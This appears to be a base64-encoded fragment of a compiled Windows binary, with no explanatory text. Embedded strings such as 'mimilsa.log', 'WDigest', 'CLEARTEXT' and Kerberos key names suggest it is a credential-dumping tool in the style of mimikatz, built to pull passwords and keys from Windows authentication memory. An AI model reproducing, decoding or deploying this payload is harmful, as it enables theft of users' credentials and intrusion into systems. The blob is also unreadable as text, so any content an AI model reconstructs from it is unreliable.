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+JRdhqJlhmiUXcaiZYZolF3o2FJP///4lF4GoBaAAAABCNReRQagC4QUFBQf/QhcAPjLYCAACNRehQagW4SEhISP/QhcAPjJYCAACNRexQi0Xo/3AIaAAAABD/deS4RERERP/QhcAPjGkCAACNRfRQi0UI/3AYaAAAABD/dey4RUVFRf/QhcAPjD0CAACDZfwA6weLRfxAiUX8g338BQ+D5AAAAGtF/BiDpAVg////AGtF/BiDpAVQ////AGtF/BiLTfyJjAVM////a0X8GMeEBVz///+AAAAAg338AHQ3a0X8GI2EBVD///9Qa0X8GI2EBWD///9Qi0X8jUTFvFD/dfS4Q0NDQ//Qa038GImEDVz////rMmtF/BjHhAVQ////JAAAAGtF/BiNhAVg////UGoS/3X0uEZGRkb/0GtN/BiJhA1c////a0X8GIO8BVz///8AfC1rRfwYg7wFYP///wB0H2tF/BiDvAVQ////AHQRa0X8GItN+AOMBVD///+JTfjpC////4tF+IPAWItNCIlBDGoEaAAwAACLRQj/cAxqALhKSkpK/9CJRfCLRQiLTfCJSBCDffAAD4T/AAAAg2X4AItFCItAEMcABQAAAINl/ADrB4tF/ECJRfyDffwFD4PYAAAAa0X8GIO8BVz///8AD4zBAAAAa0X8GIO8BWD///8AD4SBAAAAa0X8GIO8BVD///8AdHOLRfiDwFhrTfwYiYQNVP///2tF/BiNtAVM////i0UIi0AQi038weEEjXwICKWlpaVrRfwY/7QFUP///2tF/Bj/tAVg////a0X8GItNCItJEAOMBVT///9RuExMTEz/0IPEDGtF/BiLTfgDjAVQ////iU34g338AHQUa0X8GP+0BWD///+4S0tLS//Q6xRqEmtF/Bj/tAVg////uEdHR0f/0OkX////jUX0ULhCQkJC/9CNRexQuEJCQkL/0P916GoFuElJSUn/0I1F5FC4QkJCQv/QM8BfXovlXcIEAFWL7LhyYXNsXcNRaIBlBRD/FYCyAxCjrCgGEIXAD4TSAAAAVos1fLIDEGiQZQUQUP/WaKBlBRD/NawoBhCjuCgGEP/WaLBlBRD/NawoBhCjqCgGEP/WaMRlBRD/NawoBhCjsCgGEP/WaNhlBRD/NawoBhCjwCgGEP/WaOhlBRD/NawoBhCjvCgGEP/Wiw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